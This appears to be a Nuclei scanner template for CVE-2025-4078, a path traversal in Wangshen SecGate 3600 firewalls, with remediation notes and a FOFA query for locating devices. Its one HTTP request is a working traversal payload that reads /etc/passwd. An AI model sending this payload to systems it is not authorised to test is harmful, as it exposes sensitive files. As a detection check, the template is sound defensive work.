Wangshen SecGate 3600 Path Traversal Vulnerability

id: CVE-2025-4078

info:
  name: Wangshen SecGate 3600 Path Traversal Vulnerability
  author: Ark
  severity: medium
  description: |
    Wangshen SecGate 3600 2400 contains a path traversal caused by manipulation of the 'file_name' argument in '?g=log_export_file', letting remote attackers access arbitrary files, exploit requires remote access.
  impact: |
    Remote attackers can access sensitive files on the system, potentially leading to information disclosure or system compromise.
  remediation: |
    Implement input validation and sanitize 'file_name' parameter; update to the latest firmware version if available.
  reference:
    - https://nvd.nist.gov/vuln/detail/CVE-2025-4078
    - https://vuldb.com/?id.295954
  metadata:
    verified: true
    max-request: 1
    fofa-query: fid="1Lh1LHi6yfkhiO83I59AYg=="
  tags: cve,cve2025,wangshen,lfi,traversal,vuln,vkev

http:
  - raw:
      - |
        GET /?g=log_export_file&file_name=../../../../../../../etc/passwd HTTP/1.1
        Host: {{Hostname}}

    matchers:
      - type: dsl
        dsl:
          - 'status_code == 200'
          - 'regex("root:.*:0:0:", body)'
          - 'contains(content_type, "text/plain")'
        condition: and
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